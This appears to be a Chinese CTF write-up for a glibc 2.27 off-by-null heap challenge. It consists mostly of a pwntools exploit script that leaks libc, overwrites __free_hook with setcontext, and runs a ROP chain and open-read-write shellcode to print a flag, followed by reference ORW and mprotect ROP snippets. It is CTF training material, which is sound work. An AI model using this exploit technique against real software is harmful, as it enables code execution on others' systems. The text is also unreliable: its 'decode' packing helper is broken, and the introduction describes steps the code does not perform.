2.27 off by null +orw

本文介绍了一种利用堆喷射技术绕过Sandbox限制的方法,通过精心构造payload来控制内存分配流程,最终实现对目标进程的任意代码执行。具体步骤包括:创建可控大小的chunk、修改__malloc_hook指针、设置__free_hook指向setcontext函数等。
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './sandboxheap'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

# context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    #r = process(argv = ['./sandbox', file_name])
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)
    pause()
def decode(x):
 return bin(x)[2:].rjust(64)[::-1]

menu = 'Your choice: '

def add(index, size):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Index: ', str(index))
    r.sendlineafter('Size: ', str(size))

def edit(index, content):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index: ', str(index))
    r.sendafter('Content: ', content)

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index: ', str(index))

def delete(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Index: ', str(index))

for i in range(7):
    add(i, 0xf8)    #0 - 6

add(7, 0xf8)
add(8, 0x88)
add(9, 0xf8)
add(10, 0x10)

for i in range(8):
    delete(i)

edit(8, '1' * 0x80 * 8 + decode(0x190) + '\x00')

delete(9)

for i in range(7):
    add(i, 0xf8)

add(7, 0xf8)

show(8)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc-2.27.so')

libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

setcontext = libc_base + libc.sym['setcontext'] + 53
li('setcontext = ' + hex(setcontext))

add(11, 0xf8)
delete(8)

edit(11, decode(free_hook))
add(8, 0xf8)
add(12, 0xf8)

edit(12, decode(setcontext))
# dbg()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
li('syscall = ' + hex(syscall))

add(13, 0xf8)

rsp = free_hook&0xfffffffffffff000
rsi = rsp
p1 = decode(0) * 14
p1 += decode(rsi) + decode(0) * 2 + decode(0x2000) + decode(0) * 2
p1 += decode(rsp)
p1 += decode(syscall)
dbg()
edit(13, p1)
# dbg()
delete(13)
# dbg()

layout = [
    libc_base+libc.search(asm("pop rdi\nret")).__next__(), #: pop rdi; ret;
    free_hook & 0xfffffffffffff000,
    libc_base+libc.search(asm("pop rsi\nret")).__next__(), #: pop rsi; ret;
    0x2000,
    libc_base+libc.search(asm("pop rdx\nret")).__next__(), #: pop rdx; ret;
    7,
    libc_base+libc.search(asm("pop rax\nret")).__next__(), #: pop rax; ret;
    10,
    syscall, #: syscall; ret;
    libc_base+libc.search(asm("jmp rsp")).__next__(), #: jmp rsp;
]

shellcode = asm('''
sub rsp, 0x800
push 0x67616c66 
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')

r.send(flat(layout) + shellcode)

r.interactive()

参考链接

PWN题型中ORW(Open - Read - Write)的解题方法通常围绕实现文件的打开、读取和写入操作来获取flag等关键信息,以下是具体的方法: ### 构造ORW Shellcode 构造ORW shellcode是常见的解题思路,通过汇编代码实现系统调用完成文件的打开、读取和写入。以64位系统为例,示例代码如下: ```python from pwn import * context(os='linux', arch='amd64') shellcode = ''' xor rax, rax # xor rax,rax是对rax的清零运算操作 xor rdi, rdi # 清空rdi寄存器的值 xor rsi, rsi # 清空rsi寄存器的值 xor rdx, rdx mov rax, 2 # open调用号为2 mov rdi, 0x67616c662f2e # 为galf/../flag的相反 0x67616c662f2e为/flag的ASCII码的十六进制 push rdi mov rdi, rsp syscall # 系统调用前,linux在eax寄存器里写入子功能号,断止处理程序根据eax寄存器的值来判断用户进程申请哪类系统调用 mov rdx, 0x100 # sys_read(3,file,0x100) mov rsi, rdi mov rdi, rax mov rax, 0 # read调用号为0,0为文件描述符,即外部输入,例如键盘 syscall mov rdi, 1 # sys_write(1,file,0x30) mov rax, 1 # write调用号为1,1为文件描述符,指的是屏幕 syscall ''' ``` 在这个shellcode中,首先将`rax`、`rdi`、`rsi`、`rdx`寄存器清零,然后设置`rax`为2(`open`系统调用号),将文件路径的十六进制表示压入栈中并将栈顶地址赋给`rdi`,执行`syscall`打开文件。接着设置`rdx`为读取的字节数,`rsi`为读取缓冲区地址,`rdi`为文件描述符,`rax`为0(`read`系统调用号),执行`syscall`读取文件内容。最后设置`rdi`为1(标准输出文件描述符),`rax`为1(`write`系统调用号),执行`syscall`将读取的内容输出到屏幕[^3]。 ### 利用ROP链 当程序和libc里找不到`/flag\x00`或者`flag\x00`字符串时,可以利用ROP链结合`mprotect`系统函数修改内存段的权限,将ORW shellcode写入可执行的内存段并执行。示例代码如下: ```python from pwn import * p = process('./pwn') elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') rsi = 0x000000000002be51 + libc.address rdx_r12 = 0x000000000011f2e7 + libc.address bss = elf.bss() + 0x300 seg = bss & (~0xfff) log("RWX_seg", seg) mprotect = libc.sym["mprotect"] read = libc.sym["read"] pl2 = cyclic(64) + flat(0, rdi_ret, seg, rsi, 0x1000, rdx_r12, 7, 0, mprotect, rdi_ret, 0, rsi, bss, rdx_r12, 0x100, 0, read, bss) sla("How to get flag?\n", pl2) pause() sl(asm(shellcraft.cat("flag"))) ``` 在这个示例中,通过计算`bss`段的地址,利用`mprotect`函数将其权限修改为可读可写可执行(RWX),然后使用`read`函数将ORW shellcode写入`bss`段,最后执行该shellcode获取flag[^2]。 ### 结合漏洞利用 在实际解题中,需要结合具体的漏洞,如缓冲区溢出、格式化字符串漏洞等,将构造好的ORW shellcode或ROP链注入到程序中执行。例如,在存在缓冲区溢出漏洞的程序中,可以通过输入超长字符串覆盖返回地址,将其指向构造好的ORW代码的起始地址,从而触发执行。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值